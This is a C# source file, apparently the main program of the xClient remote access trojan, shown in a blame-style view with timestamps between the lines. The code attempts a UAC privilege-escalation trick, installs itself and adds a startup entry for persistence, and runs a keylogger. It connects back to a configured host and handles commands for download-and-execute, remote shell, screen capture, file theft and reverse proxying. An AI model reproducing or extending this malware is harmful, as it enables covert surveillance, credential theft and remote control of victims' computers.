2015-01-13 10:29:11 -08:00
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using System;
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2015-05-31 10:22:00 -07:00
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using System.Diagnostics;
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2014-07-08 05:58:53 -07:00
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using System.IO;
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using System.Threading;
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using System.Windows.Forms;
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2015-01-13 10:29:11 -08:00
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using xClient.Config;
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using xClient.Core;
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using xClient.Core.Commands;
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2015-05-01 05:50:38 -07:00
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using xClient.Core.Keylogger;
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2015-06-05 14:07:37 -07:00
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using xClient.Core.Networking;
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2015-01-13 10:29:11 -08:00
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using xClient.Core.Packets;
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2014-07-08 05:58:53 -07:00
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2015-01-13 10:29:11 -08:00
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namespace xClient
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2014-07-08 05:58:53 -07:00
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{
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2015-04-21 11:27:52 -07:00
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internal static class Program
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2014-07-08 05:58:53 -07:00
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{
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2015-01-15 01:10:52 -08:00
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public static Client ConnectClient;
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private static bool _reconnect = true;
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private static volatile bool _connected = false;
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private static Mutex _appMutex;
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private static ApplicationContext _msgLoop;
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2015-01-13 10:29:11 -08:00
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[STAThread]
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private static void Main(string[] args)
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{
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2015-01-13 10:29:11 -08:00
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Application.EnableVisualStyles();
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Application.SetCompatibleTextRenderingDefault(false);
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2015-03-17 09:22:42 -07:00
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2015-01-13 10:29:11 -08:00
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Settings.Initialize();
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Initialize();
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if (!SystemCore.Disconnect)
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Connect();
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2014-07-08 05:58:53 -07:00
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2015-03-17 09:22:42 -07:00
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Cleanup();
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}
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private static void Cleanup()
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{
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CommandHandler.CloseShell();
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2015-03-18 10:57:51 -07:00
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if (CommandHandler.LastDesktopScreenshot != null)
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CommandHandler.LastDesktopScreenshot.Dispose();
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if (Logger.Instance != null)
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Logger.Instance.Dispose();
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if (_msgLoop != null)
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_msgLoop.ExitThread();
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2015-01-15 01:10:52 -08:00
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if (_appMutex != null)
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_appMutex.Close();
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2015-03-31 11:38:16 -07:00
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CommandHandler.StreamCodec = null;
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2014-07-08 05:58:53 -07:00
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}
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2015-02-24 03:13:04 -08:00
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private static void InitializeClient()
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{
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ConnectClient = new Client();
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2015-04-21 11:27:52 -07:00
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ConnectClient.AddTypesToSerializer(typeof (IPacket), new Type[]
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{
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typeof (Core.Packets.ServerPackets.InitializeCommand),
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typeof (Core.Packets.ServerPackets.Disconnect),
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typeof (Core.Packets.ServerPackets.Reconnect),
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typeof (Core.Packets.ServerPackets.Uninstall),
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typeof (Core.Packets.ServerPackets.DownloadAndExecute),
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typeof (Core.Packets.ServerPackets.UploadAndExecute),
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typeof (Core.Packets.ServerPackets.Desktop),
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typeof (Core.Packets.ServerPackets.GetProcesses),
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typeof (Core.Packets.ServerPackets.KillProcess),
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typeof (Core.Packets.ServerPackets.StartProcess),
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typeof (Core.Packets.ServerPackets.Drives),
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typeof (Core.Packets.ServerPackets.Directory),
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typeof (Core.Packets.ServerPackets.DownloadFile),
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typeof (Core.Packets.ServerPackets.MouseClick),
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typeof (Core.Packets.ServerPackets.GetSystemInfo),
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typeof (Core.Packets.ServerPackets.VisitWebsite),
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typeof (Core.Packets.ServerPackets.ShowMessageBox),
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typeof (Core.Packets.ServerPackets.Update),
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typeof (Core.Packets.ServerPackets.Monitors),
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typeof (Core.Packets.ServerPackets.ShellCommand),
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typeof (Core.Packets.ServerPackets.Rename),
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typeof (Core.Packets.ServerPackets.Delete),
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typeof (Core.Packets.ServerPackets.Action),
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typeof (Core.Packets.ServerPackets.GetStartupItems),
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typeof (Core.Packets.ServerPackets.AddStartupItem),
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typeof (Core.Packets.ServerPackets.RemoveStartupItem),
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typeof (Core.Packets.ServerPackets.DownloadFileCanceled),
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typeof (Core.Packets.ServerPackets.GetLogs),
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typeof (Core.Packets.ClientPackets.Initialize),
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typeof (Core.Packets.ClientPackets.Status),
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typeof (Core.Packets.ClientPackets.UserStatus),
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typeof (Core.Packets.ClientPackets.DesktopResponse),
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typeof (Core.Packets.ClientPackets.GetProcessesResponse),
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typeof (Core.Packets.ClientPackets.DrivesResponse),
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typeof (Core.Packets.ClientPackets.DirectoryResponse),
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typeof (Core.Packets.ClientPackets.DownloadFileResponse),
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typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
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typeof (Core.Packets.ClientPackets.MonitorsResponse),
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typeof (Core.Packets.ClientPackets.ShellCommandResponse),
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typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
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typeof (Core.Packets.ClientPackets.GetLogsResponse),
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typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
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typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
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typeof (Core.ReverseProxy.Packets.ReverseProxyData),
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typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
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});
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ConnectClient.ClientState += ClientState;
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ConnectClient.ClientRead += ClientRead;
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ConnectClient.ClientFail += ClientFail;
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}
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private static void Initialize()
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{
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Thread.Sleep(2000);
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2014-07-08 05:58:53 -07:00
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2015-01-13 10:29:11 -08:00
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SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
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SystemCore.MyPath = Application.ExecutablePath;
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2015-04-25 09:49:52 -07:00
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SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
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SystemCore.AccountType = SystemCore.GetAccountType();
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SystemCore.InitializeGeoIp();
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2015-01-13 10:29:11 -08:00
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if (Settings.ENABLEUACESCALATION)
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{
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if (SystemCore.TryUacTrick())
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SystemCore.Disconnect = true;
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2015-01-13 10:29:11 -08:00
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if (SystemCore.Disconnect)
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return;
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}
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2014-07-08 05:58:53 -07:00
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2015-01-13 10:29:11 -08:00
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if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
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{
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if (!SystemCore.CreateMutex(ref _appMutex))
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SystemCore.Disconnect = true;
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2015-01-13 10:29:11 -08:00
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if (SystemCore.Disconnect)
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return;
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2015-01-13 10:29:11 -08:00
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new Thread(SystemCore.UserIdleThread).Start();
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2014-07-08 05:58:53 -07:00
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if (Settings.STARTUP && Settings.INSTALL)
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2015-05-26 09:28:15 -07:00
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{
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SystemCore.AddToStartup();
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}
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2015-02-24 03:13:04 -08:00
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InitializeClient();
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if (Settings.ENABLELOGGER)
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{
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new Thread(() =>
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{
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_msgLoop = new ApplicationContext();
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Logger logger = new Logger(15000);
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Application.Run(_msgLoop);
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}).Start(); ;
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2015-05-01 05:50:38 -07:00
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}
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2015-01-13 10:29:11 -08:00
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}
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else
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{
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2015-01-15 01:10:52 -08:00
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if (!SystemCore.CreateMutex(ref _appMutex))
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2015-01-13 10:29:11 -08:00
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SystemCore.Disconnect = true;
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2014-07-08 05:58:53 -07:00
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2015-01-13 10:29:11 -08:00
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if (SystemCore.Disconnect)
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return;
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2014-07-08 05:58:53 -07:00
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2015-01-13 10:29:11 -08:00
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SystemCore.Install();
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}
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}
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2014-07-08 05:58:53 -07:00
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2015-01-13 10:29:11 -08:00
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private static void Connect()
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{
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2015-06-20 01:10:53 -07:00
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while (_reconnect && !SystemCore.Disconnect)
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{
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if (!_connected)
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{
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Thread.Sleep(100 + new Random().Next(0, 250));
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2014-07-08 05:58:53 -07:00
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2015-06-20 01:10:53 -07:00
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ConnectClient.Connect(Settings.HOST, Settings.PORT);
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2014-07-08 05:58:53 -07:00
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2015-06-20 01:10:53 -07:00
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Thread.Sleep(200);
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2014-07-08 05:58:53 -07:00
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2015-06-20 01:10:53 -07:00
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Application.DoEvents();
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}
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2014-07-08 05:58:53 -07:00
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2015-06-20 01:10:53 -07:00
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while (_connected) // hold client open
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{
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Application.DoEvents();
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Thread.Sleep(2500);
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}
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2014-07-08 05:58:53 -07:00
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2015-06-20 01:10:53 -07:00
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if (SystemCore.Disconnect)
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{
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ConnectClient.Disconnect();
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return;
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}
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2014-07-08 05:58:53 -07:00
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2015-06-20 01:10:53 -07:00
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Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
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2015-01-13 10:29:11 -08:00
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}
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2014-07-08 05:58:53 -07:00
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}
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2015-01-13 10:29:11 -08:00
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2015-05-28 15:25:40 -07:00
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public static void Disconnect(bool reconnect = false)
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{
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2015-05-04 07:46:34 -07:00
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if (reconnect)
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CommandHandler.CloseShell();
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else
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SystemCore.Disconnect = true;
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ConnectClient.Disconnect();
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}
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private static void LostConnection()
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{
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CommandHandler.CloseShell();
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}
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2015-01-13 10:29:11 -08:00
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2015-05-04 07:46:34 -07:00
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private static void ClientState(Client client, bool connected)
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{
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if (connected && !SystemCore.Disconnect)
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_reconnect = true;
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2015-01-13 10:29:11 -08:00
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else if (!connected && SystemCore.Disconnect)
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2015-01-15 01:10:52 -08:00
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_reconnect = false;
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2015-01-13 10:29:11 -08:00
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else
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2015-01-15 01:10:52 -08:00
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_reconnect = !SystemCore.Disconnect;
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2015-05-04 07:46:34 -07:00
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if (_connected != connected && !connected && _reconnect && !SystemCore.Disconnect)
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LostConnection();
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_connected = connected;
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2014-07-17 14:22:59 -07:00
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}
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2015-01-13 10:29:11 -08:00
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2015-01-15 01:10:52 -08:00
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private static void ClientRead(Client client, IPacket packet)
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{
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2015-05-28 15:25:40 -07:00
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PacketHandler.HandlePacket(client, packet);
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2014-07-22 12:52:07 -07:00
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}
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2015-05-31 10:22:00 -07:00
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private static void ClientFail(Client client, Exception ex)
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{
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Debug.WriteLine("Exception Message: " + ex.Message);
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client.Disconnect();
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}
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2014-07-08 05:58:53 -07:00
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}
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2015-01-13 10:29:11 -08:00
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}
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